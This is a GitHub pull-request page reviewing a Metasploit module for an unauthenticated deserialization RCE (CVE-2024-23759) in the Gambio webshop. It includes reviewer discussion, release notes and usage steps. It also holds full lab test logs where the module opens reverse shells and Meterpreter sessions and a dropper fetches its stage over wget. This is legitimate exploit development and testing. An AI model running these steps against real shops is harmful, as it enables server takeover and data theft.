-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Gambio Online Webshop unauthenticated RCE [CVE-2024-23759] #19005
Conversation
modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb
Outdated
Show resolved
Hide resolved
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the great module @h00die-gr3y. I was wondering if you might be able to elaborate on in the Installation Steps
part of the documentation, if you wouldn't mind?
Edit: I was able to install the application and get a test site up and however I'm now running into an issue where the webshell upload is failing. Specifically, when the module attempts to create a guest user to get a valid session cookie I'm receiving a 200 instead of a 302. Not sure if this is an issue with the module or my installation, installation tips would be appreciated!
documentation/modules/exploit/multi/http/gambio_unauth_rce_cve_2024_23759.md
Outdated
Show resolved
Hide resolved
@jheysel-r7 that is awkward. Which version did you install By the way, there is something strange going on with the country setting. In my case, only UPDATE 17 April 19:35 CET: I found the reason. In the admin panel, you can activate countries for tax calculations. Only country settings with activated countries will work. In my case only country 8 (Antarctica) is activated. In your case this could be another country (check Anyhow, based on this finding, I need to update the exploit. On the main page, I can grab the available country setting(s) that can be used for the creation of the guest user. Good catch, my friend !!! Request
Response
|
@h00die-gr3y, thanks so much for digging into this and figuring out what was going on! My tax zone was set to only Germany, I tried switching to Antarctica, was still seeing the same issue but when I selected
|
@jheysel-r7 , added the logic to grab the tax country options configured at the application before creating the guest user. This should fix the issue. See 331c961. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for fixing that country tax code issue @h00die-gr3y! Everything worked perfectly after the fix. I re-tested the module with the couple minor fixes I added as apart of this review. I'll land it once CI tests pass
Testing all 3 targets on Ubuntu 22.04 running Gambio 4.7.2.0
msf6 > use gambio_unauth_rce
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/gambio_unauth_rce_cve_2024_23759 2024-01-19 excellent Yes Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability
1 \_ target: PHP . . . .
2 \_ target: Unix Command . . . .
3 \_ target: Linux Dropper . . . .
Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/http/gambio_unauth_rce_cve_2024_23759
After interacting with a module you can manually set a TARGET with set TARGET 'Linux Dropper'
[*] Using exploit/multi/http/gambio_unauth_rce_cve_2024_23759
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set rhosts 172.16.199.131
rhosts => 172.16.199.131
msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set rport 80
rport => 80
msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set targeturi /GX4/Shopsystem/Dateien/
targeturi => /GX4/Shopsystem/Dateien/
msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 172.16.199.131:80 can be exploited.
[!] The service is running, but could not be validated. It looks like Gambio Webshop is running.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (39927 bytes) to 172.16.199.131
[+] Deleted BFuxmTqXsRWL.php
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.131:39636) at 2024-04-19 10:15:15 -0700
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : msfuser-virtual-machine
OS : Linux msfuser-virtual-machine 6.5.0-27-generic #28~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 15 10:51:06 UTC 2 x86_64
Meterpreter : php/linux
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set target 1
target => 1
msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 172.16.199.131:80 can be exploited.
[!] The service is running, but could not be validated. It looks like Gambio Webshop is running.
[*] Executing Unix Command for cmd/unix/reverse_bash
[+] Deleted qeALOikWyPPyY.php
[*] Command shell session 2 opened (172.16.199.1:4444 -> 172.16.199.131:53736) at 2024-04-19 10:17:07 -0700
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux msfuser-virtual-machine 6.5.0-27-generic #28~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 15 10:51:06 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
^C
Abort session 2? [y/N] y
[*] 172.16.199.131 - Command shell session 2 closed. Reason: User exit
msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set target 2
target => 2
msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 172.16.199.131:80 can be exploited.
[!] The service is running, but could not be validated. It looks like Gambio Webshop is running.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://172.16.199.1:8080/22nwaokgZbpn
[*] Client 172.16.199.131 (Wget/1.21.2) requested /22nwaokgZbpn
[*] Sending payload to 172.16.199.131 (Wget/1.21.2)
[*] Sending stage (3045380 bytes) to 172.16.199.131
[+] Deleted JgOOgKvzwakx.php
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.131:43288) at 2024-04-19 10:17:46 -0700
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 172.16.199.131
OS : Ubuntu 22.04 (Linux 6.5.0-27-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb
Outdated
Show resolved
Hide resolved
Cool. Thanks! |
b8675f0
Release NotesThis adds a module for a Remote Code Execution vulnerability in Gambio Online Webshop version 4.9.2.0 and lower allows remote attackers to run arbitrary commands via unauthenticated HTTP POST request. |
A Remote Code Execution vulnerability in Gambio online webshop version
4.9.2.0
and lower allows remote attackers to run arbitrary commands via unauthenticated HTTP POST request. Gambio version 3 is not vulnerable.The identified vulnerability within Gambio pertains to an insecure deserialization flaw, which ultimately allows an attacker to execute remote code on affected systems.
The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems.
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information.
This module has been tested with:
4.7.2.0
on Ubuntu22.04
running in VirtualBox7.0.14 r161095 (Qt5.15.2)
.Installation steps to install the Gambio Online Webshop
Gambio v4.7.2.0.zip
and install the Gambio Online Webshop on your Linux Virtual Machine using the installation instructions provided in the ZIP file. Do not use a Windows VM (see Limitations section).HTTP
port 80 orHTTPS
port 443 depending on your configuration settings.You are now ready to test the module.
Verification Steps
msfconsole
use exploit/multi/http/gambio_unauth_rce_cve_2024_23759
set rhosts <ip-target>
set rport <port>
set target <0=PHP, 1=Unix Command, 2=Linux Dropper>
exploit
reverse shell
orMeterpreter
session depending on thepayload
andtarget
settingsScenarios
Target 0 - PHP native
php/meterpreter/reverse_tcp
sessionTarget 1 - Unix Command
cmd/unix/reverse_bash
sessionTarget 2 - Linux Dropper
linux/x64/meterpreter/reverse_tcp
sessionLimitations
Gambio is also supported on Windows systems, however the admin access seems to be broken on the vulnerable versions.
This causes the exploit not to run successfully.